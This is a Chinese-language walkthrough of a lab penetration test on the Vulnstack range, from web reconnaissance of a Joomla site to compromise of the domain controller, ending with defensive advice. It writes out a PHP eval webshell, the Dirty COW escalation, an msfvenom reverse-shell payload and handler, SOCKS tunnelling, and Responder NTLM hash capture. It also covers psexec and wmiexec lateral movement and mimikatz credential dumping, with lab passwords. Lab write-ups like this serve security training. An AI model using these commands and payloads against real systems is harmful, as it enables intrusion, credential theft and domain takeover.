以下操作均在测试环境进行,遵章守法
靶场镜像地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/
20G左右,分为5个虚拟机,下载之后分别解压,导进虚拟机就行,导入之后按照官方说法不要马上运行,因为有些服务没有启动自启动,如果运行了没创建快照,想要恢复初始状态只能重新导入虚拟机;
首先按照官方说法,设置每个靶机的虚拟网卡类型
按照以上设置形式分别设置网卡类型,注意名称要设置的一样,桥接模式的外部连接选项,网卡最好选择实际上网的物理网卡;
设置好虚拟网卡之后先给每个靶机创建快照之后全部继续运行各个挂起的靶机
将centos靶机在靶机的命令终端上重启网络服务,原因是靶机之前是挂起的,如果不重启网络服务,靶机的ip仍是之前运行的IP,不是目前实际运行应该获取的ip
命令:service network restart
centos挂载的是两块网卡,一块负责出网,与外界连接,一块负责连通内网,所以重启网络服务后,eth0获取到的IP应是和宿主机一个网段的ip,且可以ping通,如果只能单向ping通,最简单办法就是关闭宿主机防火墙;
完成以上设置之后,不出意外,环境就好了
懒,网络拓扑图以后有机会补上
环境装好之后,我们就装作目前只知道目标ip或者网段,之后直接挂nmap开扫
在自己机器上看一下自己机器ip网段,然后对这个网段开始主机发现,我是192.168.2.0这个网段
nmap -Pn 192.168.2.0/24
扫完之后发现结果里这个IP比较符合目标靶机IP特征,首先我这个网段只有我自己电脑和我手机
并且148这个Ip标记了网卡制造商是VMware,在图片右下角
确定了目标ip之后,我们再次使用nmap进行详细指纹识别
nmap -p- -O -sV 192.168.2.148
就nmap跟参数这件事,就跟到底甜豆腐脑好喝还是咸豆腐脑好喝一个性质,具体加哪些,觉得扫描出来结果够用就行
目标主机开了22 80 3306,所以挑软柿子捏,挑漏洞最多的80 web服务下手,不行再干其它两个服务
直接浏览器访问,192.168.2.148 浏览器会自动给填充 http:// 和端口号80
是一个类似博客,下面先开始随便翻一翻各个功能,看看有哪些交互点和手机一些信息
发现一个登录页面,页面上还有搜索框,以及重置密码
所以搜索框尝试有没有SQL注入,先用万能语句用手动尝试,无果
之后挂sql的fuzz字典模糊扫描,无果
------------------------------
那就照登录使劲
首先尝试 admin root 或者上网查这个系统用的标准模板系统的默认用户名密码,我确实不认识这个模板是哪家的,所以得等后面获取到具体信息之后再搜索
常见用户名密码尝试没结果,但是发现,当输入数字的时候,提示该ID不能存在,所以有这个弱点,我们就可以先爆破用户名ID,之后再针对ID跑字典,这样范围就缩小了很多
直接上BP,爆用户名ID,最后爆出0和891两个ID
之后直接上字典,干这俩用户ID的密码,可惜,没干出来
开始尝试找回密码和用户名,但是是使用邮箱形式,根据页面搜集的信息,没有发现邮箱服务器地址应该是哪个以及这是个靶场,很有可能邮件系统压根没开,所以尝试了一下也没有SQL注入之后放弃;
2.比较柔和的信息收集之后,没有一毛钱进展,那咋整,那就上稍微主动一点的手段,开始扫网站的目录和文件,用dirb 、 WFUZZ 、dirsearch
dirb:dirb http://192.168.2.148/ 先扫目录
之后发现网站是php语言的,之后
dirb http://192.168.2.148/ -X .php,.txt
定向针对文件进行扫描,看看有没有暴漏什么有用信息
扫描结果里面有一个后台登录页面,但是跑字典无果,放弃,等待其他扫描结果,但是可以确定这个系统应该是使用叫joomla为模板开发的
目录扫描结果不少,但是没发现有用的,但是文件扫描看见几个文件,挨个复制到浏览器访问一下
1.php 暴漏了php配置信息
2.php不知道是啥,解析后没什么内容
3.通过README.txt确定了系统使用的是joomla
4.robots.txt 发现了一些目录
好,一顿操作猛如虎,一点进展没有,换下一个扫描工具
最后dirsearch --url http://192.168.2.148/
扫出的结果里面有一个/configuration.php~
里面暴漏了一个账户密码,看配置信息应该是mysql的一个配置文件
同时还有说明了邮件服务器地址,如果是真是环境,可以尝试按照扫出来的用户ID,给这些邮件发钓鱼邮件
然后,既然怀疑暴漏的是mysql配置信息,恰巧目标centos开了3306端口
直接上navicat,尝试连接一下,因为centos出网,和我们在一个局域网,所以不用过多配置直接连,连接名称自定义,主机是centos的出网网卡地址
测试一下连接
窃喜,测试成功,万里长城贴瓷砖终于贴上第一块了,进去之后照主要表先翻,要是没什么有用结果再挨个翻,要是想练mysql控制台命令操作的可以直接用命令连,毕竟有时候的环境只能用命令连
直奔用户名密码相关的表
发现有俩
看ID和之前我们跑出来的ID一样,但是密码是加密了,此时没有网站源码,不知到加密方式,完,又卡住了,但是前面知道系统使用的joomla这套系统,这时候使用搜索引擎,找一下看看这套系统源码和是不是开源的,是开源的代码弄回来定位一下加密相关代码,然后还原出来加密形式,之后利用加密方法创建密码,直接替换数据库的密码或者新建一个用户名,保险起见,还是新建一个,这样被发现的概率会降低。
最后官网给了一个重置密码方式,就是将官网给的一个固定密码替换进表里面密码,之后直接用密码登录即可
How do you recover or reset your admin password? - Joomla! Documentation
密码就是:secret
用账户密码一登陆,这不就上来了,先挨个翻一下功能点,看看哪些点有上传的可能性,先把我们的shell干上去连上再说
发现一个media
可以上传,且可以访问,尝试上传shell.php 一句话木马,可惜,各种绕过方案都试了,没成功
接着找, 还有几个写博客的地方,也能上传图片和富文本编辑器,但是都做了上传类型限制,富文本编辑器传的图片没找着访问位置,放弃
这里又又一个,是什么主题,有两套主题
点击一套模板进去
发现这些php可以自己编辑
把一句话木马写进去,挂上
<?php @eval($_POST['a']);?>
可以全部替换文件内容
传是传进去了,具体怎么访问到这个文件,是个问题
但是天无绝人之路,这后面有一个类似预览功能还是什么功能,点一下,是一张预览图片,复制了一下图片地址,在上面右键,复制图片地址,访问了一下
尝试把后面图片地址替换成 我们插入一句话木马的文件,访问一下,页面空白,说明解析了
又一次窃喜,然后牛逼的大佬就可以直接用hackbar插件手敲命令获取信息了,但是作为高效产出的节奏,直接上蚁剑连接
连接成功,先翻文件 ,没发现什么特殊的,所以上命令窗口,看看权限,翻一翻系统文件
发现敲什么都反应是一个,怀疑是做了限制, 我们前面通过目录扫描,发现了php 的配置信息,
发现了,禁止了常用执行函数,这看来得上手段了,尝试bypass,蚁剑自己有绕过插件,尝试一下
直接安装就行,需要科学那啥一下,要不插件市场加载不出来
加载插件
模式里面挨个试一下,最后试到PHP7_GC_UAF 就有效果了命令正常执行了,但是有些还是不行,换下一个
最后发现这个模式没问题
成功打入内部,先快速确定一下权限和常见关键文件
翻来翻去就只在tmp下翻到了一个可能是mysql的账户密码添加测试账户命令,但是具体不知道是谁的账户密码,但是命令格式是linux 的添加账户密码的格式
目标靶机开了22端口,所以试一下这个是不是管理员为mysql运行专门开设的账户,看看能不能通过ssh连上去
连上了,还他娘的真是,终于脱离蚁剑的那个命令终端了
既然连上了,看一下用户权限以及特权操作,之前文件已经大概翻了,就先不翻了
sudo 走不通
系统版本很旧
尝试查看shadow没权限,直接追加用户到passwd无果
那么既然这样,靠纯手工是效率不行了,直接上信息扫描脚本,开扫
我用的linpeas.sh 可以用更简洁的脚本
在自己机器上用python建一个http服务,把脚本传上去
这样建立了一个http服务端口默认8000
python -m http.server
这个是python3的方法,python2 用python -m SimpleHTTPServer 8000
之后在148这台机器上用
wget http://192.168.2.209:8000/linpeas.sh 209是我本机IP
脚本已经上去了
然后用chmod 777 linpeas.sh 加权限,之后直接运行 开干
这么花了呼哨的脚本不知道哪个大神写的,扫描内容俱全,就是时间长点,可以搞套源码自己按照各种场景裁剪一下专用脚本
本着拿来主义,向前辈师傅致谢,感谢付出
刚扫我就发现了令人开心的信息
可能存在脏牛提权,赶紧新开窗口传脚本
传之前先确认一下有没有gcc,没有gcc搞起来就显得不那么顺畅了
巧了,有gcc
开干,还是老配方,用http服务传文件
编译命令脚本里面作者已经写了,直接抄
这不,一份新鲜热乎的提权脚本就编译好了,开吃
第一次运行可能会遇到下面提示
这个可能是靶场作者在验证靶场的时候运行过
直接rm 删掉再次运行
之后让输入密码,脏牛提权本身是竞争条件漏洞,什么是竞争条件 百度
就是趁你不注意,我就把资源抢走了
所以可以造成资源映射上的问题,导致原本只读内存,被赋予了写权限
所以直接给你写了一个用户进去,所以上面提示你输入密码,这个密码就是帮你写进去的那个账户的密码
运行之后输入完密码,等啊等啊,先去抖音刷会小姐姐
成功之后直接 su 切换用户
好了,目前这台出网的机器我们已经拿到了root权限
相当于我们拿下了DMZ区域 这时候,我们通过这台跳板机,就能和内网沟通了
----------------------------------------------------------------------------------------
还是熟悉的配方
内网信息收集
IP 啊看一下有哪个网段
除了192.168.2.0 还有一个192.168.93.0网段,这个网段极有可能是内网网段,直接存活主机发现
直接把namp传上去显得有些过分,所以把战场转移到msf或者弄个隧道在kali上操作还显得文雅一些
使用msf生成木马,传到148上面
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.2.137 LPORT=1888 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf > 1888.elf
LHOST kali攻击机IP Lport 等待回连的端口
成功之后将文件传到148上面
给权限chmod +x 1888.elf,之后直接执行
137攻击机上设置监听
msfconsole
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.2.137
set LPORT 1888
run
成功回连之后,使用getuid看一下能不能成功执行
如果ok,添加一个路由
run autoroute -s 192.168.93.0/24#添加路由
run autoroute -p#查看路由
之后进行主机发现,
background#需要将连接置于后台
先用了use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 10 设置线程
run 运行 此方法先快速过一遍
发现了192.168.93.10、20、30三台机器,以及操作系统版本
并且域控为TEST
之后还是用use auxiliary/scanner/portscan/tcp
set rhosts 192.168.93.0/24
set threads 100
run
发现有445、139端口SMB
果断永恒之蓝走起,结果事实证明,得来的太容易也失去的太快,没成功
挂代理看了一下20的80端口web上的服务
无果
发现开启有1434有sqlserver服务,那就再尝试一下这个柿子好不好捏
之前我们找到mysql的账户密码,按照管理员一套账户密码走天下的原则,决定尝试一下是不是sqlserver的密码
拿出navicat linux版本,在kali上挂上代理启动
然后测试连接,成功 耶
上来翻 ,但是没有权限访问表
换思路,用sqlserver提权,通过执行命令
但是没有权限执行系统命令
再尝试通过xp_dirtree 读取资源
显示执行ok,但是结果为空,估计是没权限
但是实际触发有可能是可以的,通过这种方式,构造一个假的SMB服务,通过sqlserver来触发访问我们假的SMB,从而抓取目标主机的认证NTLM hash
首先构造假的SMB服务
需要用到Responder-master.zip这个工具,github上直接搜
传到148上,解压
unzip Responder-master.zip -d Responder
之后直接chmod 777 加权限
工具运行使用的是python2 需要确认一下目标机器上python版本
python --version
首先看一下和内网连接的网卡是哪个
直接使用以下命令运行
python Responder.py -I eth1
-I 是大写
启动好服务之后,去sqlserver 访问
显示访问没成功,但是我们的目的已经达到了,这台SQL server 已经拿着他的认证令牌与我们假的SMB进行了认证,我们已经抓到了实际的hash,下面就需要离线爆破了 直接上工具 john
但是,但是,我把我机器上最大的字典都跑了,最后仍然没跑出密码,网上搜了一下其它师傅跑出来的密码
123qwe!ASD 虽然看着简单,但是我字典里面确实没有,马后炮分析了一下,这个密码应该是在top密码的基础上进行了规则变换匹配上的,反正我字典是没有,这里就假设我们用字典跑出来的
有了账户密码,下一步,直接用msf上线
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.20
set SMBUser administrator
set SMBPass 123qwe!ASD
set proxies socks5:127.0.0.1:6666
set payload windows/x64/meterpreter/bind_tcp
exploit
上面端口6666是隧道代理的端口,具体使用哪种工具,只需替换具体端口即可
成功,获取的是system权限,系统最高权限
上面扫描时我们扫到域控为test,如果上面没扫,上线后用
run post/windows/gather/enum_domain
也是一样可以拿到域控信息
确认域控就是10这个ip
加载mimikatz,抓取登陆过20这台机器的密码
load kiwi
查看域控密码
creds_kerberos 获取kerberos的票据信息
Administrator TEST.ORG zxcASDqw123!!
Administrator WIN2008 123qwe!ASD
还是利用之前上线20机器的方法
background
set SMBPass zxcASDqw123!!
set SMBDomain TEST.ORG
set RHOSTS 192.168.93.10
exploit
但是没成功
换种方式再试
proxychains4 impacket-wmiexec test/Administrator@192.168.93.10
成功拿到域控shell
靶场设计大佬说是有一份重要文件,所以四处翻一翻
最后在
C:\USERs\Administrator\documents>type flag.txt
看到了内容
补充一下,上面一直挂的代理,我是用ew搭建的socket,然后配合proxychains,具体步骤如下
先传文件ew_for_linux64,github上可以搜到
给 kali和跳板机 IP 148的 都传一份,都给执行权限 chmod +x ew_for_linux64
在kaili上执行 ./ew_for_linux64 -s rcsocks -l 8888 -e 6666 将本地
在148跳板机上执行 ./ew_for_linux64 -s rssocks -d 192.168.2.137 -e 6666
好了,此时跳板机已经通过socket连上我们攻击机了
这时候设置kali代理,将攻击流量代理给8888 端口
kali上新开窗口编辑 vim /etc/proxychains4.conf
这句注释去掉
最后一行添加代理信息,我设置端口是 8888所以这里是8888
保存,退出
测试代理是否ok
proxychains4 curl cip.cc
这时候如果kali和148的终端都冒泡了证明ok,实际中看返回解析ip是自己公网ip还是对方ip
挂代理上nmap开干
proxychains4 namp -sT -Pn -sV 192.168.93.0/24
因为挂了代理,不支持ICMP,所以需要使用全连接 -sT方式扫描
总结:
1.作为系统管理员要及时为所属管辖区域内设备更新系统,如果财力允许,建议安装防护设备
2.各个主机账户密码要区分,同时设置密码更新策略,监督所有员工执行
3.对外网关闭没必要的端口,比如148这台上面的3306
4.对系统可能存在用户名和密码破解的点进行优化,增加破解难度以及关键服务增加双因素认证
5.配置自动化,减少残留信息,即使打进第一层,攻击者获取不到足够信息也能够给下一步攻击设置足够门槛
6.定期使用扫描工具对系统进行漏扫以及使用自动化信息收集工具对系统关键文件进行扫描,对对配置文件初始化之后建立哈希清单,定期比对,并及时对发现的漏洞做修复或者备案
7.增加服务接口密码长度复杂性,以及分段存储
PS:很多成熟CMS系统都有专门定向开发的扫描工具,直接用效率较高